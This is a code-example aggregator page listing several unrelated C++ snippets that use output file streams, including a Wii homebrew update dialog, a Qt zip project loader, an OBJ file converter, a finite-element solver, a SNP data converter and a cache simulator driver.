	GuiImage dialogBoxImg(&dialogBox);

	GuiImageData btnOutline(Theme.button_small);
	GuiImage btn1Img(&btnOutline);
	GuiImage btn2Img(&btnOutline);

	GuiImageData btnOutlineOver(Theme.button_small_focus);
	GuiImage btn1ImgOver(&btnOutlineOver);
	GuiImage btn2ImgOver(&btnOutlineOver);

	GuiText titleTxt(tr("Update"), 26, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});
	titleTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP);
	titleTxt.SetPosition(0, 40);
	GuiText downloadTxt(tr("Downloading file..."), 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});
	downloadTxt.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);
	downloadTxt.SetPosition(0, -20);

	GuiText msgTxt(tr("please wait"), 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});
	msgTxt.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);
	msgTxt.SetPosition(0, 20);

	GuiText btn1Txt(tr("Yes"), 22, (GXColor){Theme.button_small_text_1, Theme.button_small_text_2, Theme.button_small_text_3, 255});
	GuiButton btn1(btnOutline.GetWidth(), btnOutline.GetHeight());

	btn1.SetAlignment(ALIGN_LEFT, ALIGN_BOTTOM);
	btn1.SetPosition(20, -25);
	btn1.SetLabel(&btn1Txt);
	btn1.SetImage(&btn1Img);
	btn1.SetImageOver(&btn1ImgOver);
	btn1.SetTrigger(&trigA);
	btn1.SetState(STATE_SELECTED);
	btn1.SetEffectGrow();

	GuiText btn2Txt(tr("No"), 22, (GXColor){Theme.button_small_text_1, Theme.button_small_text_2, Theme.button_small_text_3, 255});
	GuiButton btn2(btnOutline.GetWidth(), btnOutline.GetHeight());

	btn2.SetAlignment(ALIGN_RIGHT, ALIGN_BOTTOM);
	btn2.SetPosition(-20, -25);
	btn2.SetLabel(&btn2Txt);
	btn2.SetImage(&btn2Img);
	btn2.SetImageOver(&btn2ImgOver);
	btn2.SetTrigger(&trigA);
	btn2.SetEffectGrow();

	promptWindow.Append(&dialogBoxImg);
	promptWindow.Append(&titleTxt);
	promptWindow.Append(&downloadTxt);
	promptWindow.Append(&msgTxt);

	HaltGui();
	mainWindow->SetState(STATE_DISABLED);
	mainWindow->Append(&promptWindow);
	mainWindow->ChangeFocus(&promptWindow);
	ResumeGui();

	char url[100];
#ifdef STBOOTVWII
	if(rev == "Beta")
		sprintf(url, "http://www.nanolx.org/hbf/DOL.st.vwii/Beta/boot.dol");
	else
		sprintf(url, "http://www.nanolx.org/hbf/DOL.st.vwii/rev%s/boot.dol", rev.c_str());

	// copy boot.dol to prev.dol
	std::ifstream infile((Settings.device_dat + ":/apps/HomebrewFilter.vWii.Standalone/boot.dol").c_str(), std::ios_base::binary);
	std::ofstream outfile((Settings.device_dat + ":/apps/HomebrewFilter.vWii.Standalone/prev.dol").c_str(), std::ios_base::binary);
#elif VWII
	if(rev == "Beta")
		sprintf(url, "http://www.nanolx.org/hbf/DOL.vwii/Beta/boot.dol");
	else
		sprintf(url, "http://www.nanolx.org/hbf/DOL.vwii/rev%s/boot.dol", rev.c_str());

	// copy boot.dol to prev.dol
	std::ifstream infile((Settings.device_dat + ":/apps/HomebrewFilter.vWii/boot.dol").c_str(), std::ios_base::binary);
	std::ofstream outfile((Settings.device_dat + ":/apps/HomebrewFilter.vWii/prev.dol").c_str(), std::ios_base::binary);
#elif STDBOOT
	if(rev == "Beta")
		sprintf(url, "http://www.nanolx.org/hbf/DOL.st/Beta/boot.dol");
	else
		sprintf(url, "http://www.nanolx.org/hbf/DOL.st/rev%s/boot.dol", rev.c_str());

	// copy boot.dol to prev.dol
//.........这里部分代码省略.........
开发者ID:kavid,项目名称:homebrewfilter,代码行数:101,代码来源:prompt_update.cpp

示例11: getTempDir

bool Project::readFromFile(QString filename)
{
    mProjectPath = filename;
    QDir tempDir = getTempDir();

    QuaZip zip(mProjectPath);
    if( zip.open(QuaZip::mdUnzip) )
    {
        QuaZipFile file(&zip);
        char* data = (char*)malloc(4096);
        for(bool f=zip.goToFirstFile(); f; f=zip.goToNextFile())
        {
            if( file.open(QIODevice::ReadOnly) )
            {
                QFile outfile( tempDir.absoluteFilePath(file.getActualFileName()) );
                outfile.open(QIODevice::WriteOnly);
                QDataStream out(&outfile);
                while( !file.atEnd() )
                {
                    qint64 bytesRead = file.read(data, 4096);
                    out.writeRawData(data,(uint)bytesRead);
                }
                file.close();
            }
        }
        free(data);
        zip.close();

        if(QFile::exists(tempDir.absoluteFilePath(mDatabaseFilename)))
        {
            if( mDbAdapter != 0 )
            {
                delete mDbAdapter;
                mDbAdapter = 0;
            }

            mDbAdapter = new DatabaseAdapter(tempDir.absoluteFilePath(mDatabaseFilename));
            readTextPaths();
        }
        else
        {
            QMessageBox::critical(0,tr("Error opening file"),tr("Something seems to be wrong with the archive. The file %1, which is an important one, could not be found.").arg(mDatabaseFilename));
            return false;
        }
        if(!QFile::exists(tempDir.absoluteFilePath("configuration.xml")))
        {
            QMessageBox::critical(0,tr("Error opening file"),tr("Something seems to be wrong with the archive. The file configuration.xml, which is an important one, could not be found."));
            return false;
        }
        else
        {
            parseConfigurationFile();
        }
    }
    else
    {
        QMessageBox::critical(0,tr("Error opening file"),tr("The file %1 could not be opened. It may be the wrong format, or it may have been corrupted.").arg(mProjectPath));
        return false;
    }
    return true;
}
开发者ID:adamb924,项目名称:Gloss,代码行数:61,代码来源:project.cpp

示例12: open_file

/**
 * @brief 复制obj文件数据,只复制v部分和只含点信息的f
 * @param 空
 * @return 非零代表复制成功,0代表复制失败
 */
bool ObjModify::copyData()
{
	if(!firstVerticesLine)
	{
		if(!getInfo())
        {
            return false;
        }
	}
    string filePathName = inputPath + "\\" + filename;
    cout << filePathName << endl;
	ifstream infile;
	open_file(infile, filePathName.c_str());
	string newFilename = outputPath + "\\" + getName() + fileSuffix;
	ofstream outfile(newFilename.c_str(), ofstream::out);//如果没有对应文件,在根目录下创建一个
    for(int i = 0; !infile && i != 10; ++i)
    {
        open_file(infile, filePathName.c_str());
    }
	if(!infile)
	{
		cerr << "Try 10 times, but still can not open input file: " << filePathName << endl;
		return false;
	}
	if(!outfile)
	{
		cerr << "Can not open output file: " << newFilename << endl;
		return false;
	}
    ///写入obj文件头
	setHeader(outfile);

	string line;
	for(int i = 0; i != firstVerticesLine - 1;  ++i)
	{
		getline(infile, line);
		//cout << line << endl;
	}
	int v_count = 1, v_percent = 0;
	int r_count = 1, r_percent = 0;
	while(getline(infile, line))
	{
		if(line[0] == 'v' && line[1] == ' ')
		{
			outfile << line << endl;
			//显示已处理百分比
			if((v_count++ * 10 / vertices) != v_percent)
			{
				cout << "vertices processing " << 10 * v_percent << "%" << endl;
				v_percent = v_count * 10 / vertices;
			}
		}
		else if(line[0] == 'f' && line[1] == ' ')
		{
			string fstr;
			fstr = cov_f(line);
			outfile << fstr << endl;
			//显示已处理百分比
			if((r_count++ * 10 / triangles ) != r_percent)
			{
				cout << "triangles processing " << 10 * r_percent << "%" << endl;
				r_percent = r_count * 10 / triangles;
			}
		}
	}
	outfile.close();
	infile.close();
	return true;
}
开发者ID:zdxiao,项目名称:ObjModify,代码行数:74,代码来源:ObjModify.cpp

示例13: main

int main(int argc, char *argv[])
{
	if ( argc != 3 )
    {
        std::cout<<"usage: "<< argv[0] <<" <input file> <output file>\n";
        return 1;
    }
	
	std::ifstream infile(argv[1]);
	std::ofstream outfile(argv[2]);
	
	float poissonRatio, youngModulus;
	infile >> poissonRatio >> youngModulus;

	Eigen::Matrix3f D;
	D <<
		1.0f,        	poissonRatio,	0.0f,
		poissonRatio,	1.0,         	0.0f,
		0.0f,        	0.0f,        	(1.0f - poissonRatio) / 2.0f;

	D *= youngModulus / (1.0f - pow(poissonRatio, 2.0f));

	infile >> nodesCount;
	nodesX.resize(nodesCount);
	nodesY.resize(nodesCount);

	for (int i = 0; i < nodesCount; ++i)
	{
		infile >> nodesX[i] >> nodesY[i];
	}

	int elementCount;
	infile >> elementCount;

	for (int i = 0; i < elementCount; ++i)
	{
		Element element;
		infile >> element.nodesIds[0] >> element.nodesIds[1] >> element.nodesIds[2];
		elements.push_back(element);
	}

	int constraintCount;
	infile >> constraintCount;

	for (int i = 0; i < constraintCount; ++i)
	{
		Constraint constraint;
		int type;
		infile >> constraint.node >> type;
		constraint.type = static_cast<Constraint::Type>(type);
		constraints.push_back(constraint);
	}

	loads.resize(2 * nodesCount);
	loads.setZero();

	int loadsCount;
	infile >> loadsCount;

	for (int i = 0; i < loadsCount; ++i)
	{
		int node;
		float x, y;
		infile >> node >> x >> y;
		loads[2 * node + 0] = x;
		loads[2 * node + 1] = y;
	}
	
	std::vector<Eigen::Triplet<float> > triplets;
	for (std::vector<Element>::iterator it = elements.begin(); it != elements.end(); ++it)
	{
		it->CalculateStiffnessMatrix(D, triplets);
	}

	Eigen::SparseMatrix<float> globalK(2 * nodesCount, 2 * nodesCount);
	globalK.setFromTriplets(triplets.begin(), triplets.end());

	ApplyConstraints(globalK, constraints);

	Eigen::SimplicialLDLT<Eigen::SparseMatrix<float> > solver(globalK);

	Eigen::VectorXf displacements = solver.solve(loads);

	outfile << displacements << std::endl;

	for (std::vector<Element>::iterator it = elements.begin(); it != elements.end(); ++it)
	{
		Eigen::Matrix<float, 6, 1> delta;
		delta << displacements.segment<2>(2 * it->nodesIds[0]),
		         displacements.segment<2>(2 * it->nodesIds[1]),
		         displacements.segment<2>(2 * it->nodesIds[2]);

		Eigen::Vector3f sigma = D * it->B * delta;
		float sigma_mises = sqrt(sigma[0] * sigma[0] - sigma[0] * sigma[1] + sigma[1] * sigma[1] + 3.0f * sigma[2] * sigma[2]);

		outfile << sigma_mises << std::endl;
	}
	return 0;
}
开发者ID:podgorskiy,项目名称:MinimalFem,代码行数:99,代码来源:main.cpp

示例14: convert_snp_affymetrix_C

void convert_snp_affymetrix_C(char **dirname_, char **filelist, unsigned *files_amount_, char **map_filename_, char **outfilename_, unsigned *skipaffym, char **alleleID_names, char *alleleID, unsigned *alleleID_amount)
{

char *outfilename = *outfilename_;
char *dirname = *dirname_;
char *map_filename = *map_filename_;


unsigned files_amount=*files_amount_;



std::map<std::string, char> coding;
for(unsigned i=0 ; i<*alleleID_amount ; i++)
	{
	coding[alleleID_names[i]] = alleleID[i];
	}


Rprintf("reading map...\n");
//std::cout<<"reading map...\n";
AffymetrixChipMap Map(map_filename, 2, 0, 2, 4, 5, 3, 9, 10, 6);
//std::cout<<"map is read...\n";
Rprintf("map is read...\n");

if(Map.get_exclude_amount() != 0) 
	{
	Rprintf("%i SNPs excluded from annotation because of absent enough information annotation file\n", Map.get_exclude_amount());			
	}



std::vector<ChipData *> ids_chip;
for(unsigned i=0 ; i<files_amount ; i++)
	{
	std::string file = (std::string(dirname) + "/" + std::string(filelist[i]));
	Rprintf("%i: opening file %s\n", i+1, file.c_str());
	ids_chip.push_back(new affymetrix_chip_data(file, 0, 1, *skipaffym));
	}





unsigned id_amount=ids_chip.size(); 


std::ofstream outfile(outfilename);
if(!outfile.is_open()){error("Can not open file \"\"\n",outfilename);}


Rprintf("Save to file %s\n", outfilename);


outfile << "#GenABEL raw data version 0.1\n";

//save IDs
Rprintf("saving Id names...\n");
for(unsigned id=0 ; id<files_amount ; id++)
	{
	outfile<<replace(std::string(filelist[id]), ' ', '_')<<" ";
	}
outfile<<"\n";

std::string snpname;


unsigned long snp_excludet_from_output_data=0;


//save snpnames
Rprintf("saving SNP names...\n");
unsigned snp_amount=ids_chip[0]->get_snp_amount();
for(unsigned snp=0 ; snp<snp_amount ; snp++)
	{
	snpname = ids_chip[0]->get_snp_name(snp);
	if(Map.is_snp_in_map(snpname)){outfile<<Map.recode_snp(snpname.c_str())<<" ";}
	else{snp_excludet_from_output_data++;}
	}
outfile<<"\n";

//save chromosome 
Rprintf("saving chromosome data...\n");
for(unsigned snp=0 ; snp<snp_amount ; snp++)
	{
	snpname = ids_chip[0]->get_snp_name(snp);
	if(Map.is_snp_in_map(snpname)){outfile<<Map.get_chromosome(snpname.c_str())<<" ";}
	}
outfile<<"\n";


//save position (map) 
Rprintf("saving position data...\n");
for(unsigned snp=0 ; snp<snp_amount ; snp++)
	{
	snpname = ids_chip[0]->get_snp_name(snp);
	if(Map.is_snp_in_map(snpname)){outfile<<Map.get_phisical_position(snpname.c_str())<<" ";}
	}
outfile<<"\n";

//.........这里部分代码省略.........
开发者ID:rforge,项目名称:genabel,代码行数:101,代码来源:convert.snp.affymetrix.cpp

示例15: main

int main(int argc, char** argv){
	if(argc != 3){
		std::cerr << "USAGE: ./cache_simulator <input_file_name> <output-file-name>" << std::endl;
		exit(1);
	}

	std::ofstream outfile(argv[2]);

	int cache_line_size = -1, cache_size = -1, associativity = -1;
	std::string policy = "";

	Cache_simulator direct_mapped(DIRECT_MAPPED, argv[1]);
	cache_line_size = 32;
	int cache_size_array[] = {1024, 4096, 16384, 32768};

	for(int i = 0; i < 4; i++){
		outfile << direct_mapped.simulate(cache_size_array[i], cache_line_size, associativity, policy);
		outfile <<  " " << direct_mapped.get_total_referenced() << " ";
	}	
	outfile << std::endl;

	Cache_simulator set_associative(SET_ASSOCIATIVE, argv[1]);
	int associativity_array[] = {2, 4, 8, 16};
	cache_size = 16384;
	for(int i = 0; i < 4; i++){
		outfile << set_associative.simulate(cache_size, cache_line_size, associativity_array[i], policy);
		outfile << " " << set_associative.get_total_referenced() << " ";
	}	
	outfile << std::endl;

	Cache_simulator fully_associative(FULLY_ASSOCIATIVE, argv[1]);
	policy = "LRU";
	outfile << fully_associative.simulate(cache_size, cache_line_size, associativity, policy);
	outfile << " " << fully_associative.get_total_referenced() << std::endl;
	policy = "HOT-COLD";
	outfile << fully_associative.simulate(cache_size, cache_line_size, associativity, policy);
	outfile << " " << fully_associative.get_total_referenced() << std::endl;

	Cache_simulator set_associative_no_alloc_write_miss(SET_ASSOCIATIVE_NO_ALLOC_ON_WRITE_MISS, argv[1]);
	for(int i = 0; i < 4; i++){
		outfile << set_associative_no_alloc_write_miss.simulate(cache_size, cache_line_size, associativity_array[i], policy);
		outfile << " " << set_associative_no_alloc_write_miss.get_total_referenced() << " ";
	}	
	outfile << std::endl;
	
	Cache_simulator set_associative_nextline_prefetching(SET_ASSOCIATIVE_NEXTLINE_PREFETCHING, argv[1]);
	for(int i = 0; i < 4; i++){
		outfile << set_associative_nextline_prefetching.simulate(cache_size, cache_line_size, associativity_array[i], policy);
		outfile << " " << set_associative_nextline_prefetching.get_total_referenced() << " ";
	}	
	outfile << std::endl;

	Cache_simulator prefetch_on_miss(PREFETCH_ON_MISS, argv[1]);
	for(int i = 0; i < 4; i++){
		outfile << prefetch_on_miss.simulate(cache_size, cache_line_size, associativity_array[i], policy);
		outfile << " " << prefetch_on_miss.get_total_referenced() << " ";
	}	
	outfile << std::endl;

//Extra credit
	Cache_simulator test(FIFO, argv[1]);
	std::cout << "Extra credit: FIFO replacement\n" << "Cache hit: " << test.simulate(16*1024, 32, -1, "") << ", total referenced: " << test.get_total_referenced() << std::endl;
	outfile.close();
	return 0;
}
开发者ID:jianqiuhuang,项目名称:CacheSimulator,代码行数:65,代码来源:Driver.cpp


注:本文中的outfile函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。